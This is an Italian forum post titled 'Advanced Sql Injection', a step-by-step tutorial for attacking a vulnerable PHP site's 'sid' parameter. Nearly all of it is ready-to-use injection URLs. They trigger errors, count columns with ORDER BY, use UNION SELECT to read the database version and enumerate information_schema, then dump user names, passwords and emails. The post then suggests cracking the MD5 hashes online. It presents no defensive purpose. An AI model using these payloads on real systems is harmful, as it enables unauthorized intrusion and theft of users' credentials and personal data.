-
psynfected.
User deleted
Advanced Sql Injection by Psynfected
Vi spieghero velocemente come effettuare una SQLi in un sito buggato:
sito buggato: www.sitobuggato.it
target: www.sitobuggato.it/article.php?sid=123
per visualizzare l'errore aggiungiamo:CODICEhttp://www.sitobuggato.it/article.php?sid=-123'
questo ci restituira un errore che puo essere così:CODICEWarning: mysql_fetch_assoc()
Warning: mysql_fetch_array()
Warning: mysql_num_rows()
Warning: session_start()
Warning: getimagesize()
Warning: is_writable()
Warning: getimagesize()
Warning: Unknown()
Warning: session_start()
Warning: mysql_result()
Warning: pg_exec()
Warning: mysql_result()
Warning: mysql_num_rows()
Warning: mysql_query()
Warning: array_merge()
Warning: preg_match()
Warning: filesize()
Warning: require()
questo ci dimostra che il sito è buggato e che si può effettuare una SQLi.
altri modi per far comparire un errore:
aggiungiamo all'indirizzo "AND 1=2--" (senza apici) [TRUE = FALSE] 1 non puo essere uguale a 2 quindi anche questo risultera come errore e ci favorira nella SQLi, se noi invece avessimo messo 1=1 [TRUE = TRUE] la pagina sarebbe stata visualizzata.
quindi come risultato avremo:CODICEhttp://www.sitobuggato.it/article.php?sid=-123' AND 1=2--
ora cerchiamo il numero delle colonne:
aggiungiamo all'indirizzo order by in questo caso il sito ha 9 colonne adesso noi facciamo finta di non saperlo e dovremo fare cosi:CODICEhttp://www.sitobuggato.it/article.php?sid=-123' AND 1=2 order by 1-- la pagina viene visualizzata senza errori
http://www.sitobuggato.it/article.php?sid=-123' AND 1=2 order by 2-- la pagina viene visualizzata senza errori
http://www.sitobuggato.it/article.php?sid=-123' AND 1=2 order by 3-- la pagina viene visualizzata senza errori
http://www.sitobuggato.it/article.php?sid=-123' AND 1=2 order by 4-- la pagina viene visualizzata senza errori
http://www.sitobuggato.it/article.php?sid=-123' AND 1=2 order by 5-- la pagina viene visualizzata senza errori
http://www.sitobuggato.it/article.php?sid=-123' AND 1=2 order by 6-- la pagina viene visualizzata senza errori
http://www.sitobuggato.it/article.php?sid=-123' AND 1=2 order by 7-- la pagina viene visualizzata senza errori
http://www.sitobuggato.it/article.php?sid=-123' AND 1=2 order by 8-- la pagina viene visualizzata senza errori
http://www.sitobuggato.it/article.php?sid=-123' AND 1=2 order by 9-- la pagina viene visualizzata senza errori
http://www.sitobuggato.it/article.php?sid=-123' AND 1=2 order by 10-- viene restituito un errore [per i possibili errori guarda su ]
quindi ora abbiamo scoperto il numero delle colonne ora quindi scriviamo l'union select al posto di order by con il relativo numer delle colonne:CODICEhttp://www.sitobuggato.it/article.php?sid=-123 AND 1=2 union select 1,2,3,4,5,6,7,8,9--
e al posto della pagina verranno visualizzati dei numeri in questo caso sono: 4,5,6,8 e 9
ora dobbiamo scoprire la versione del database quindi aggiungiamo a un numero qualsiasi (4,5,6,8 e 9) il comando @@versionCODICEhttp://www.sitobuggato.it/article.php?sid=-123 AND 1=2 union select 1,2,3,4,@@version,6,7,8,9--
ci verra restituita la versione del database nel nostro caso "5.0.32-Debian_7etch8-log"
ora cerchiamo le tables quindi scriviamo:CODICEhttp://www.sitobuggato.it/article.php?sid=-123 AND 1=2 union select 1,2,3,4,table_name,6,7,8,9 from information_schema.tables limit 0,1--
per navigare nei vari tables aggiungiamo sempre 0,1 e ci sara il primo 1,1 e sara visualizzato il secondo 2,1 il terzo 3,1 il quarto e cosi via fino a trovare quello desiderato ad esempio account, administrator, admin ecc
ora che abbiamo trovato la table cerchiamo la columns (come table prendiamo in considerazione per esempio "account"):CODICEwww.sitobuggato.it/article/articolo.php?sid=123 AND 1=2 union select 1,4,3,4,column_name,6,7,8,9 from information_schema.columns where table_name=account limit 0,1--
a volte può dare errore quindi vi consiglio in caso di errore codificare la table in Char o HEX (admin in char diventa: '97 99 99 111 117 110 116' ed in hex invece: '6163636f756e74' )
quindi scriveremo (solo in caso di errore)CODICEwww.sitobuggato.it/article/articolo.php?sid=123 AND 1=2 union select 1,2,3,4,column_name,6,7,8,9 from information_schema.columns where table_name=0x6163636f756e74 limit 0,1--
oCODICEwww.sitobuggato.it/article/articolo.php?sid=123 AND 1=2 union select 1,2,3,4,column_name,6,7,8,9 from information_schema.columns where table_name=CHAR(97,99,99,111,117,110,116) limit 0,1--
ora troveremo ad esempio id,user,password, email ecc
quindi non ci resta che fare:CODICEwww.sitobuggato.it/article/articolo.php?sid=123 AND 1=2 union select 1,2,3,4,group_concat(id,0x3a,user,0x3a,password,0x3a,email) from account--
e avremo le password, id, user, email contenute nei database
NB. le password sono solitamente criptate in md5 e quindi incapperai in una password simile a questa: 9b3ff2e6dd7891882d149f429b040cc5 che è uguale ad 'haker-forum'
per decrittarla basta cercare su google md5 cracker
Guida by Psynfected.